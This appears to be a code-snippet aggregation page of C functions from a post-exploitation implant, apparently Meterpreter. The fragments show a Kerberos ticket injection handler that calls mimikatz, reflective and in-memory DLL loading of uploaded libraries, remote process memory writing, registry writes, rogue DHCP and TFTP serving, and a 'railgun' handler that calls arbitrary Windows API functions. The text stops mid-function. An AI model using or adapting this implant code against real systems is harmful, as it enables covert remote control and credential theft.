Esempio n. 1
0
static void set_value(Remote *remote, Packet *packet, HKEY hkey)
{
	Packet *response = packet_create_response(packet);
	LPCSTR valueName = NULL;
	DWORD valueType = 0;
	DWORD result = ERROR_SUCCESS;
	Tlv valueData;

	// Acquire the standard TLVs
	valueName = packet_get_tlv_value_string(packet, TLV_TYPE_VALUE_NAME);
	valueType = packet_get_tlv_value_uint(packet, TLV_TYPE_VALUE_TYPE);

	do
	{
		// Get the value data TLV
		if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA,
			&valueData) != ERROR_SUCCESS)
		{
			result = ERROR_INVALID_PARAMETER;
			break;
		}

		// Now let's rock this shit!
		result = RegSetValueEx(hkey, valueName, 0, valueType,
			valueData.buffer, valueData.header.length);

	} while (0);

	// Populate the result code
	packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);

	// Transmit the response
	packet_transmit(remote, response, NULL);
}
Esempio n. 2
0
/*
 * Get the value of a UINT TLV
 */
UINT packet_get_tlv_value_uint(Packet *packet, TlvType type)
{
	Tlv uintTlv;

	if ((packet_get_tlv(packet, type, &uintTlv) != ERROR_SUCCESS) ||(uintTlv.header.length < sizeof(DWORD)))
		return 0;

	return ntohl(*(LPDWORD)uintTlv.buffer);
}
Esempio n. 3
0
/*
 * Get the value of a QWORD TLV
 */
QWORD packet_get_tlv_value_qword(Packet *packet, TlvType type)
{
	Tlv qwordTlv;

	if( ( packet_get_tlv( packet, type, &qwordTlv ) != ERROR_SUCCESS ) || ( qwordTlv.header.length < sizeof(QWORD) ) )
		return 0;

	return ntohq( *(QWORD *)qwordTlv.buffer );
}
Esempio n. 4
0
/*
 * Get a TLV as a string
 */
DWORD packet_get_tlv_string(Packet *packet, TlvType type, Tlv *tlv)
{
	DWORD res;

	if ((res = packet_get_tlv(packet, type, tlv)) == ERROR_SUCCESS)
		res = packet_is_tlv_null_terminated(packet, tlv);

	return res;
}
Esempio n. 5
0
BYTE * packet_get_tlv_value_raw( Packet * packet, TlvType type )
{
	Tlv tlv;

	if( packet_get_tlv( packet, type, &tlv ) != ERROR_SUCCESS )
		return NULL;

	return tlv.buffer;
}
Esempio n. 6
0
/*
 * Write to the remote end of the channel
 */
DWORD channel_write(Channel *channel, Remote *remote, Tlv *addend,
                    DWORD addendLength, PUCHAR buffer, ULONG length,
                    ChannelCompletionRoutine *completionRoutine)
{
    PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL;
    ChannelCompletionRoutine *dupe = NULL;
    DWORD res = ERROR_SUCCESS;
    LPCSTR method = "core_channel_write";
    Packet *request;
    Tlv methodTlv;

    do
    {
        // Allocate a request packet
        if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL)))
        {
            res = ERROR_NOT_ENOUGH_MEMORY;
            break;
        }

        // Add the supplied TLVs
        packet_add_tlvs(request, addend, addendLength);

        // If no method TLV as added, add the default one.
        if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS)
            packet_add_tlv_string(request, TLV_TYPE_METHOD, method);

        // Add the channel identifier and the length to write
        packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel));

        // if the channel data is ment to be compressed, compress it!
        if( channel_is_flag( channel, CHANNEL_FLAG_COMPRESS ) )
            packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA|TLV_META_TYPE_COMPRESSED, buffer, length);
        else
            packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA, buffer, length);

        packet_add_tlv_uint(request, TLV_TYPE_LENGTH, channel_get_id(channel));

        // Initialize the packet completion routine
        if (completionRoutine)
        {
            // Duplicate the completion routine
            dupe = channel_duplicate_completion_routine(completionRoutine);

            requestCompletion.context = dupe;
            requestCompletion.routine = _channel_packet_completion_routine;
            realRequestCompletion     = &requestCompletion;
        }

        // Transmit the packet with the supplied completion routine, if any.
        res = packet_transmit(remote, request, realRequestCompletion);

    } while (0);

    return res;
}
Esempio n. 7
0
/*
 * Get the value of a bool TLV
 */
BOOL packet_get_tlv_value_bool(Packet *packet, TlvType type)
{
	Tlv boolTlv;
	BOOL val = FALSE;

	if (packet_get_tlv(packet, type, &boolTlv) == ERROR_SUCCESS)
		val = (BOOL)(*(PCHAR)boolTlv.buffer);

	return val;
}
Esempio n. 8
0
/*
 * Interact with a given channel such that data on the remote end is
 * forwarded in real time rather than being polled.
 */
DWORD channel_interact(Channel *channel, Remote *remote, Tlv *addend,
                       DWORD addendLength, BOOL enable,
                       ChannelCompletionRoutine *completionRoutine)
{
    PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL;
    ChannelCompletionRoutine *dupe = NULL;
    LPCSTR method = "core_channel_interact";
    DWORD res = ERROR_SUCCESS;
    Packet *request;
    Tlv methodTlv;

    do
    {
        if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST,
                                      NULL)))
        {
            res = ERROR_NOT_ENOUGH_MEMORY;
            break;
        }

        // Add the supplied TLVs
        packet_add_tlvs(request, addend, addendLength);

        // If no method TLV as added, add the default one.
        if (packet_get_tlv(request, TLV_TYPE_METHOD,
                           &methodTlv) != ERROR_SUCCESS)
            packet_add_tlv_string(request, TLV_TYPE_METHOD,
                                  method);

        // Add the channel identifier
        packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID,
                            channel_get_id(channel));

        // Add the enable/disable boolean
        packet_add_tlv_bool(request, TLV_TYPE_BOOL, enable);

        // Initialize the packet completion routine
        if (completionRoutine)
        {
            // Duplicate the completion routine
            dupe = channel_duplicate_completion_routine(completionRoutine);

            requestCompletion.context = dupe;
            requestCompletion.routine = _channel_packet_completion_routine;
            realRequestCompletion     = &requestCompletion;
        }

        // Transmit the packet with the supplied completion routine, if any.
        res = packet_transmit(remote, request, realRequestCompletion);

    } while (0);

    return res;
}
Esempio n. 9
0
// Gives me a copy of a data item of type TLV_META_TYPE_RAW
// caller has to free() it.
// returns NULL on fail
BYTE * getRawDataCopy(Packet *packet,TlvType type, DWORD * size){
	Tlv tlv;
	BYTE * bufferCopy;
	if (packet_get_tlv(packet, type, &tlv) != ERROR_SUCCESS){
		dprintf("getRawDataCopy: packet_get_tlv failed");
		*size = 0;
		return NULL;
	}
	*size = tlv.header.length;
	bufferCopy = (BYTE *)malloc(*size);
	memcpy(bufferCopy,tlv.buffer,*size);
	return bufferCopy;
}
Esempio n. 10
0
DWORD channel_write(Channel *channel, Remote *remote, Tlv *addend,
        DWORD addendLength, PUCHAR buffer, ULONG length, 
        ChannelCompletionRoutine *completionRoutine)
{
    PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL;
    ChannelCompletionRoutine *dupe = NULL;
    DWORD res = ERROR_SUCCESS;
    LPCSTR method = "core_channel_write";
    Packet *request;
    Tlv methodTlv;

    do
    {
        if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL)))
        {
            res = ERROR_NOT_ENOUGH_MEMORY;
            break;
        }

        packet_add_tlvs(request, addend, addendLength);

        if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS)
            packet_add_tlv_string(request, TLV_TYPE_METHOD, method);

        packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel));

        if( channel_is_flag( channel, CHANNEL_FLAG_COMPRESS ) )
            packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA|TLV_META_TYPE_COMPRESSED, buffer, length);
        else
            packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA, buffer, length);

        packet_add_tlv_uint(request, TLV_TYPE_LENGTH, channel_get_id(channel));

        if (completionRoutine)
        {
            dupe = channel_duplicate_completion_routine(completionRoutine);

            requestCompletion.context = dupe;
            requestCompletion.routine = _channel_packet_completion_routine;
            realRequestCompletion     = &requestCompletion;
        }

        res = packet_transmit(remote, request, realRequestCompletion);

    } while (0);

    return res;
}
Esempio n. 11
0
DWORD channel_interact(Channel *channel, Remote *remote, Tlv *addend,
        DWORD addendLength, BOOL enable, 
        ChannelCompletionRoutine *completionRoutine)
{
    PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL;
    ChannelCompletionRoutine *dupe = NULL;
    LPCSTR method = "core_channel_interact";
    DWORD res = ERROR_SUCCESS;
    Packet *request;
    Tlv methodTlv;

    do
    {
        if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, 
                NULL)))
        {
            res = ERROR_NOT_ENOUGH_MEMORY;
            break;
        }

        packet_add_tlvs(request, addend, addendLength);

        if (packet_get_tlv(request, TLV_TYPE_METHOD,
                &methodTlv) != ERROR_SUCCESS)
            packet_add_tlv_string(request, TLV_TYPE_METHOD,
                    method);

        packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID,
                channel_get_id(channel));

        packet_add_tlv_bool(request, TLV_TYPE_BOOL, enable);

        if (completionRoutine)
        {
            dupe = channel_duplicate_completion_routine(completionRoutine);

            requestCompletion.context = dupe;
            requestCompletion.routine = _channel_packet_completion_routine;
            realRequestCompletion     = &requestCompletion;
        }

        res = packet_transmit(remote, request, realRequestCompletion);

    } while (0);

    return res;
}
Esempio n. 12
0
/*
 * Tries to open a channel with the remote endpoint, optionally calling the
 * supplied completion routine upon response.
 */
DWORD channel_open(Remote *remote, Tlv *addend, DWORD addendLength,
                   ChannelCompletionRoutine *completionRoutine)
{
    PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL;
    ChannelCompletionRoutine *dupe = NULL;
    DWORD res = ERROR_SUCCESS;
    PCHAR method = "core_channel_open";
    Packet *request;
    Tlv methodTlv;

    do
    {
        // Allocate the request
        if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST,
                                      NULL)))
        {
            res = ERROR_NOT_ENOUGH_MEMORY;
            break;
        }

        // Add the supplied TLVs
        packet_add_tlvs(request, addend, addendLength);

        // If no method TLV as added, add the default one.
        if (packet_get_tlv(request, TLV_TYPE_METHOD,
                           &methodTlv) != ERROR_SUCCESS)
            packet_add_tlv_string(request, TLV_TYPE_METHOD,
                                  method);

        // Initialize the packet completion routine
        if (completionRoutine)
        {
            // Duplicate the completion routine
            dupe = channel_duplicate_completion_routine(completionRoutine);

            requestCompletion.context = dupe;
            requestCompletion.routine = _channel_packet_completion_routine;
            realRequestCompletion     = &requestCompletion;
        }

        // Transmit the packet with the supplied completion routine, if any.
        res = packet_transmit(remote, request, realRequestCompletion);

    } while (0);

    return res;
}
Esempio n. 13
0
/*
 * Read memory from the context of the supplied process at a given address for a
 * given length
 *
 * req: TLV_TYPE_HANDLE         - The handle of the process to read from.
 * req: TLV_TYPE_BASE_ADDRESS   - The address to read from.
 * req: TLV_TYPE_PROCESS_MEMORY - The raw memory to write to the address.
 */
DWORD request_sys_process_memory_write(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	HANDLE handle;
	LPVOID base;
	DWORD result = ERROR_SUCCESS;
	size_t written = 0;
	Tlv data;

	handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE);
	base   = (LPVOID)packet_get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS);

	do
	{
		// Invalid handle, base, or data?
		if ((!handle) ||
		    (!base) ||
		    (packet_get_tlv(packet, TLV_TYPE_PROCESS_MEMORY, &data)) != ERROR_SUCCESS)
		{
			result = ERROR_INVALID_PARAMETER;
			break;
		}

		// Write the memory
		if ((!WriteProcessMemory(handle, base, data.buffer, data.header.length, 
				&written)) &&
		    (GetLastError() != ERROR_PARTIAL_COPY))
		{
			result = GetLastError();
			break;
		}

		// Set the number of bytes actually written on the response
		packet_add_tlv_uint(response, TLV_TYPE_LENGTH, (DWORD)written);

	} while (0);

	// Transmit the response
	packet_transmit_response(result, remote, response);

	return ERROR_SUCCESS;
}
Esempio n. 14
0
//Set a DHCP option based on the name and value specified in the packet
DWORD request_lanattacks_set_dhcp_option(Remote *remote, Packet *packet){
	DWORD retval = ERROR_SUCCESS;
	char* name = NULL;
	unsigned int namelen = 0;
	Packet *response = packet_create_response(packet);

	do{
		//Get option value
		Tlv tlv;
		if((retval = packet_get_tlv(packet, TLV_TYPE_LANATTACKS_OPTION, &tlv)) != ERROR_SUCCESS)
			break;
		//Get option name
		name = packet_get_tlv_value_string(packet, TLV_TYPE_LANATTACKS_OPTION_NAME);
		namelen = strlen(name);
		setDHCPOption(dhcpserver, name, namelen, tlv.buffer, tlv.header.length);
	} while (0);

	packet_transmit_response(retval, remote, response);
	return ERROR_SUCCESS;
}
Esempio n. 15
0
//Adds a file to serve based on the name and value specified in the packet
DWORD request_lanattacks_add_tftp_file(Remote *remote, Packet *packet){
	DWORD retval = ERROR_SUCCESS;
	char* name = NULL;
	unsigned int namelen = 0;
	Packet *response = packet_create_response(packet);

	do{
		Tlv tlv;
		//Get file contents
		if((retval = packet_get_tlv(packet, TLV_TYPE_LANATTACKS_RAW, &tlv)) != ERROR_SUCCESS)
			break;
		//Get file name
		name = packet_get_tlv_value_string(packet, TLV_TYPE_LANATTACKS_OPTION_NAME);
		namelen = strlen(name);
		addTFTPFile(tftpserver, name, namelen, tlv.buffer, tlv.header.length);
	} while (0);

	packet_transmit_response(retval, remote, response);
	return ERROR_SUCCESS;
}
Esempio n. 16
0
/*!
 * @brief Handler for the use kerberos ticket message.
 * @param remote Pointer to the \c Remote instance.
 * @param packet Pointer to the incoming packet.
 * @returns \c ERROR_SUCCESS
 */
DWORD request_kerberos_ticket_use(Remote *remote, Packet *packet)
{
	Packet * response = packet_create_response(packet);
	DWORD result = ERROR_INVALID_PARAMETER;
	Tlv ticketTlv;

	result = packet_get_tlv(packet, TLV_TYPE_KIWI_KERB_TKT_RAW, &ticketTlv);

	if (result == ERROR_SUCCESS)
	{
		dprintf("[KIWI] Ticket size: %u bytes", ticketTlv.header.length);
		result = mimikatz_kerberos_ticket_use(ticketTlv.buffer, ticketTlv.header.length);
	}
	else
	{
		dprintf("[KIWI] Failed to get ticket content");
	}

	packet_transmit_response(result, remote, response);

	return result;
}
Esempio n. 17
0
DWORD request_core_loadlib(Remote *remote, Packet *packet) {
	Packet *response = packet_create_response(packet);
	DWORD res = ERROR_SUCCESS;
	HMODULE library;
	PCHAR libraryPath;
	DWORD flags = 0;
	PCHAR targetPath;
	int local_error = 0;
	Command *command;
	Command *first = extensionCommands;

	do {
		Tlv dataTlv;

		libraryPath = packet_get_tlv_value_string(packet, TLV_TYPE_LIBRARY_PATH);
		flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS);

		// Invalid library path?
		if (!libraryPath) {
			res = ERROR_INVALID_PARAMETER;
			break;
		}

		if (flags & LOAD_LIBRARY_FLAG_LOCAL) {
			// i'd be surprised if we could load
			// libraries off the remote system without breaking severely.
			res = ERROR_NOT_SUPPORTED;
			break;
		}

		// Get the library's file contents
		if ((packet_get_tlv(packet, TLV_TYPE_DATA,
			&dataTlv) != ERROR_SUCCESS) ||
			(!(targetPath = packet_get_tlv_value_string(packet,
			TLV_TYPE_TARGET_PATH)))) {
			res = ERROR_INVALID_PARAMETER;
			break;
		}

		dprintf("targetPath: %s", targetPath);

		library = dlopenbuf(targetPath, dataTlv.buffer, dataTlv.header.length);
		dprintf("dlopenbuf(%s): %08x / %s", targetPath, library, dlerror());
		if (!library) {
			res = ERROR_NOT_FOUND;
			break;
		}

		// If this library is supposed to be an extension library, try to
		// call its Init routine
		if (flags & LOAD_LIBRARY_FLAG_EXTENSION) {
			PEXTENSION pExtension = (PEXTENSION)malloc(sizeof(EXTENSION));
			if (!pExtension) {
				res = ERROR_NOT_ENOUGH_MEMORY;
				break;
			}
			//DWORD(*init)(Remote *remote);

			pExtension->init = dlsym(library, "InitServerExtension");

			// Call the init routine in the library
			if (pExtension->init) {
				dprintf("calling InitServerExtension");
				pExtension->end = first;
				res = pExtension->init(remote);
				pExtension->start = extensionCommands;
				pExtension->getname = dlsym(library, "GetExtensionName");
				pExtension->deinit = dlsym(library, "DeinitServerExtension");

				if (pExtension->getname) {
					pExtension->getname(pExtension->name, sizeof(pExtension->name));
				}
				list_push(gExtensionList, pExtension);
			}
			else {
				free(pExtension);
			}

			if (response) {
				for (command = pExtension->start; command != pExtension->end; command = command->next) {
					packet_add_tlv_string(response, TLV_TYPE_METHOD, command->method);
				}
			}
		}

	} while (0);

	if (response) {
		packet_add_tlv_uint(response, TLV_TYPE_RESULT, res);
		PACKET_TRANSMIT(remote, response, NULL);
	}

	return (res);
}
DWORD
request_core_loadlib(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	DWORD res = ERROR_SUCCESS;
	HMODULE library;
	PCHAR libraryPath;
	DWORD flags = 0;
	PCHAR targetPath;
	int local_error = 0;
	
	do
	{
		libraryPath = packet_get_tlv_value_string(packet, 
				TLV_TYPE_LIBRARY_PATH);
		flags       = packet_get_tlv_value_uint(packet, 
				TLV_TYPE_FLAGS);

		// Invalid library path?
		if (!libraryPath) {
			res = ERROR_INVALID_PARAMETER;
			break;
		}

		// If the lib does not exist locally, but is being uploaded...
		if (!(flags & LOAD_LIBRARY_FLAG_LOCAL))	{
			Tlv dataTlv;

			// Get the library's file contents
			if ((packet_get_tlv(packet, TLV_TYPE_DATA,
					&dataTlv) != ERROR_SUCCESS) ||
			    (!(targetPath = packet_get_tlv_value_string(packet,
					TLV_TYPE_TARGET_PATH)))) {
				res = ERROR_INVALID_PARAMETER;
				break;
			}

			// If the library is not to be stored on disk, 
			if (!(flags & LOAD_LIBRARY_FLAG_ON_DISK)) {
				library = _dlopenbuf(NULL, dataTlv.buffer, dataTlv.header.length );
				res = (library) ? ERROR_SUCCESS : ERROR_NOT_FOUND;
				//Taken from buffer_to_file (should be changed to random)
				targetPath = "/tmp/foo";
			} else {
				// Otherwise, save the library buffer to disk
				res = buffer_to_file(targetPath, dataTlv.buffer, 
						dataTlv.header.length);
			}

			// Override the library path
			libraryPath = targetPath;
		}

		// If a previous operation failed, break out.
		if (res != ERROR_SUCCESS)
			break;
		
		// Load the library
		if ((!library) && (library = dlopen(targetPath, RTLD_GLOBAL|RTLD_LAZY)) == NULL)
			res = GetLastError();

		else
			res = ERROR_SUCCESS;

		// If this library is supposed to be an extension library, try to
		// call its Init routine
		if ((flags & LOAD_LIBRARY_FLAG_EXTENSION) && (library)){
			DWORD (*init)(Remote *remote);

			init = dlsym(library, "InitServerExtension" );
			// Call the init routine in the library
			if( init )
				res = init(remote);
		}
		
	} while (0);
	
	if (response) {
		packet_add_tlv_uint(response, TLV_TYPE_RESULT, res);
		packet_transmit(remote, response, NULL);
	}

	return (res);
}
Esempio n. 19
0
// Single-request railgun API
DWORD request_railgun_api(Remote *remote, Packet *packet)
{
	DWORD bufferSizeOUT,bufferSizeIN,bufferSizeINOUT,stackSizeInElements;
	BYTE * bufferIN=NULL;
	BYTE * bufferOUT=NULL;
	BYTE * bufferINOUT=NULL;
	DWORD * stack = NULL;
	DWORD returnValue; // returnValue of the function
	const DWORD * stackDescriptorBuffer; // do not free! Just convenience ptr to TLV
	Tlv stackDescriptorTlv;
	const char * dllName;
	const char * funcName;
	HMODULE hDll;
	void * funcAddr;
	DWORD ii;
	DWORD lastError;
	Packet *response;

	dprintf("request_railgun_api()");

	// Prepare the OUT-Buffer (undefined content)
	bufferSizeOUT = packet_get_tlv_value_uint(packet, TLV_TYPE_RAILGUN_SIZE_OUT);
	dprintf("bufferSizeOUT == %d",bufferSizeOUT);
	if (bufferSizeOUT != 0){
		bufferOUT = (BYTE *)malloc(bufferSizeOUT);
		memset(bufferOUT,'A',bufferSizeOUT); // this might help catch bugs
	}
	dprintf("bufferOUT @ 0x%08X",bufferOUT);


	// get the IN-Buffer
	dprintf("Getting TLV_TYPE_RAILGUN_BUFFERBLOB_IN");
	bufferIN = getRawDataCopy(packet,TLV_TYPE_RAILGUN_BUFFERBLOB_IN,&bufferSizeIN);
	dprintf("bufferIN @ 0x%08X",bufferIN);
	if (bufferIN == NULL){
		dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_BUFFERBLOB_IN");
		goto cleanup;
	}
	dprintf("got TLV_TYPE_RAILGUN_BUFFERBLOB_IN, size %d",bufferSizeIN);

	// get the INOUT-Buffer
	dprintf("Getting TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT");
	bufferINOUT = getRawDataCopy(packet,TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT,&bufferSizeINOUT);
	dprintf("bufferINOUT @ 0x%08X",bufferINOUT);
	if (bufferINOUT == NULL){
		dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT");
		goto cleanup;
	}
	dprintf("got TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT, size %d",bufferSizeINOUT);

	// Get DLLNAME
	dllName = packet_get_tlv_value_string(packet,TLV_TYPE_RAILGUN_DLLNAME);
	if (dllName == NULL){
		dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_DLLNAME");
		goto cleanup;
	}
	dprintf("TLV_TYPE_RAILGUN_DLLNAME. %s: ",dllName);
	// Get funcNAME
	funcName = packet_get_tlv_value_string(packet,TLV_TYPE_RAILGUN_FUNCNAME);
	if (funcName == NULL){
		dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_FUNCNAME");
		goto cleanup;
	}
	dprintf("TLV_TYPE_RAILGUN_FUNCNAME. %s: ",funcName);

	// get address of function
	hDll = LoadLibraryA(dllName); // yes this increases the counter. lib should never be released. maybe the user just did a WSAStartup etc.
	if (hDll == NULL){
		dprintf("LoadLibraryA() failed");
		goto cleanup;
	}
	funcAddr = (void*)GetProcAddress(hDll,funcName);
	if (funcAddr == NULL){
		dprintf("GetProcAddress() failed");
		goto cleanup;
	}

	// get the Stack-description (1 DWORD description, 1 DWORD data)
	dprintf("Getting TLV_TYPE_RAILGUN_STACKBLOB");
	if (packet_get_tlv(packet, TLV_TYPE_RAILGUN_STACKBLOB, &stackDescriptorTlv) != ERROR_SUCCESS){
		dprintf("packet_get_tlv failed");
		goto cleanup;
	}
	dprintf("Got TLV_TYPE_RAILGUN_STACKBLOB, size %d",stackDescriptorTlv.header.length);
	if ((stackDescriptorTlv.header.length % (2*sizeof(DWORD))) != 0){
		dprintf("TLV_TYPE_RAILGUN_STACKBLOB: blob size makes no sense");
	}
	dprintf("Function at 0x%08X.",funcAddr);


	stackSizeInElements = stackDescriptorTlv.header.length / (2*sizeof(DWORD));
	stackDescriptorBuffer = (DWORD*) stackDescriptorTlv.buffer;
	stack = (DWORD*) malloc((stackSizeInElements)*sizeof(DWORD));
	dprintf("Stack blob size: 0x%X",stackDescriptorTlv.header.length);
	dprintf("stackSizeInElements: %d",stackSizeInElements);
	dprintf("stack @ 0x%08X",stack);

	// To build the stack we have to process the items.
	// depending on their types the items are
	// 0 - literal values
	// 1 = relative pointers to bufferIN. Must be converted to absolute pointers
	// 2 = relative pointers to bufferOUT. Must be converted to absolute pointers
	// 3 = relative pointers to bufferINOUT. Must be converted to absolute pointers
	for (ii=0; ii<stackSizeInElements; ii++){
		DWORD itemType,item;
		itemType = stackDescriptorBuffer[ii*2];
		item = stackDescriptorBuffer[ii*2+1];
		switch(itemType){
			case 0:	// do nothing. item is a literal value
					dprintf("Param %d is literal:0x%08X.",ii,item);
					stack[ii] = item;
					break;
			case 1:	// relative ptr to bufferIN. Convert to absolute Ptr
					stack[ii] = item + ((DWORD)bufferIN);
					dprintf("Param %d is relative to bufferIn: 0x%08X => 0x%08X",ii,item,stack[ii]);
					break;
			case 2:	// relative ptr to bufferOUT. Convert to absolute Ptr
					stack[ii] = item + ((DWORD)bufferOUT);
					dprintf("Param %d is relative to bufferOUT: 0x%08X => 0x%08X",ii,item,stack[ii]);
					break;
			case 3:	// relative ptr to bufferINOUT. Convert to absolute Ptr
					stack[ii] = item + ((DWORD)bufferINOUT);
					dprintf("Param %d is relative to bufferINOUT: 0x%08X => 0x%08X",ii,item,stack[ii]);
					break;
			default:
				dprintf("Invalid stack item description %d for item %d",itemType,ii);
				goto cleanup;
		}
	}

	dprintf("calling function..");
	SetLastError(0);
	// written for readability. 
	// The compiler MUST use EBP to reference variables, sinde  we are messing with ESP.
	// In MSVC parlance "Omit Frame pointers" OFF!
	__asm{	
		pusha
		// save ESP
		mov EBX,ESP

		//"push" all params on the stack
		mov ECX,[stackSizeInElements]
		mov ESI,[stack]
		sub ESP,ECX  
		sub ESP,ECX  
		sub ESP,ECX  
		sub ESP,ECX  
		mov EDI,ESP
		cld
		rep movsd
		//and call!
		mov eax,[funcAddr]
		call eax
		// restore stack. no matter the calling convention
		mov esp,ebx // starting here we can use vars again
		mov [returnValue],EAX
		popa
	}
	lastError = GetLastError(); //must be called immediately after function

	dprintf("called function => %d",lastError);
	
	// time to ship stuff back
	response = packet_create_response(packet);
	dprintf("created return packet");
	packet_add_tlv_uint(response, TLV_TYPE_RAILGUN_BACK_ERR,lastError);
	packet_add_tlv_uint(response, TLV_TYPE_RAILGUN_BACK_RET, returnValue);
	packet_add_tlv_raw(response, TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT,bufferOUT,bufferSizeOUT);
	packet_add_tlv_raw(response, TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT,bufferINOUT,bufferSizeINOUT);
	dprintf("added stuff");
	packet_transmit_response(ERROR_SUCCESS, remote, response);
	dprintf("transmitted back");

cleanup: // todo: transmit error message on failure
	dprintf("request_railgun_api: cleanup");
	if (bufferIN != NULL) {free(bufferIN);}
	if (bufferOUT != NULL) {free(bufferOUT);}
	if (bufferINOUT != NULL) {free(bufferINOUT);}
	if (stack != NULL) {free(stack);}
	return 0;
}
DWORD request_core_loadlib(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	DWORD res = ERROR_SUCCESS;
	HMODULE library;
	PCHAR libraryPath;
	DWORD flags = 0;
	BOOL bLibLoadedReflectivly = FALSE;

	Command *first = extensionCommands;
	Command *command;

	do
	{
		libraryPath = packet_get_tlv_value_string(packet, TLV_TYPE_LIBRARY_PATH);
		flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS);

		// Invalid library path?
		if (!libraryPath)
		{
			res = ERROR_INVALID_PARAMETER;
			break;
		}

		// If the lib does not exist locally, but is being uploaded...
		if (!(flags & LOAD_LIBRARY_FLAG_LOCAL))
		{
			PCHAR targetPath;
			Tlv dataTlv;

			// Get the library's file contents
			if ((packet_get_tlv(packet, TLV_TYPE_DATA,
				&dataTlv) != ERROR_SUCCESS) ||
				(!(targetPath = packet_get_tlv_value_string(packet,
				TLV_TYPE_TARGET_PATH))))
			{
				res = ERROR_INVALID_PARAMETER;
				break;
			}

			// If the library is not to be stored on disk, 
			if (!(flags & LOAD_LIBRARY_FLAG_ON_DISK))
			{
				// try to load the library via its reflective loader...
				library = LoadLibraryR(dataTlv.buffer, dataTlv.header.length);
				if (library == NULL)
				{
					// if that fails, presumably besause the library doesn't support
					// reflective injection, we default to using libloader...
					library = libloader_load_library(targetPath,
						dataTlv.buffer, dataTlv.header.length);
				}
				else
				{
					bLibLoadedReflectivly = TRUE;
				}

				res = (library) ? ERROR_SUCCESS : ERROR_NOT_FOUND;
			}
			else
			{
				// Otherwise, save the library buffer to disk
				res = buffer_to_file(targetPath, dataTlv.buffer,
					dataTlv.header.length);
			}

			// Override the library path
			libraryPath = targetPath;
		}

		// If a previous operation failed, break out.
		if (res != ERROR_SUCCESS)
			break;

		// Load the library
		if ((!library) && (!(library = LoadLibrary(libraryPath))))
			res = GetLastError();
		else
			res = ERROR_SUCCESS;

		// If this library is supposed to be an extension library, try to
		// call its Init routine
		if ((flags & LOAD_LIBRARY_FLAG_EXTENSION) && (library))
		{
			EXTENSION * extension = (EXTENSION *)malloc(sizeof(EXTENSION));
			if (extension)
			{
				extension->library = library;

				// if the library was loaded via its reflective loader we must use GetProcAddressR()
				if (bLibLoadedReflectivly)
				{
					extension->init = (PSRVINIT)GetProcAddressR(extension->library, "InitServerExtension");
					extension->deinit = (PSRVDEINIT)GetProcAddressR(extension->library, "DeinitServerExtension");
				}
				else
				{
					extension->init = (PSRVINIT)GetProcAddress(extension->library, "InitServerExtension");
					extension->deinit = (PSRVDEINIT)GetProcAddress(extension->library, "DeinitServerExtension");
				}

				// patch in the metsrv.dll's HMODULE handle, used by the server extensions for delay loading
				// functions from the metsrv.dll library. We need to do it this way as LoadLibrary/GetProcAddress
				// wont work if we have used Reflective DLL Injection as metsrv.dll will be 'invisible' to these functions.
				remote->hMetSrv = hAppInstance;

				// Call the init routine in the library
				if (extension->init)
				{
					dprintf("[SERVER] Calling init()...");

					res = extension->init(remote);

					if (res == ERROR_SUCCESS)
					{
						list_push(extension_list, extension);
					}
					else
					{
						free(extension);
					}
				}
				dprintf("[SERVER] Called init()...");
				if (response)
				{
					for (command = extensionCommands; command != first; command = command->next)
					{
						packet_add_tlv_string(response, TLV_TYPE_METHOD, command->method);
					}
				}
			}
		}

	} while (0);

	if (response)
	{
		packet_add_tlv_uint(response, TLV_TYPE_RESULT, res);
		packet_transmit(remote, response, NULL);
	}

	return res;
}
Esempio n. 21
0
/*
 * Channel completion routine dispatcher
 */
DWORD _channel_packet_completion_routine(Remote *remote, Packet *packet,
        LPVOID context, LPCSTR method, DWORD result)
{
    ChannelCompletionRoutine *comp = (ChannelCompletionRoutine *)context;
    DWORD channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID);
    Channel *channel = channel_find_by_id(channelId);
    DWORD res = ERROR_NOT_FOUND;


    dprintf( "[CHANNEL] _channel_packet_completion_routine. channel=0x%08X method=%s", channel, method );

    // If the channel was not found and it isn't an open request, return failure
    if (!channel && strcmp(method, "core_channel_open"))
        return ERROR_NOT_FOUND;

    if ((!strcmp(method, "core_channel_open")) &&
            (comp->routine.open))
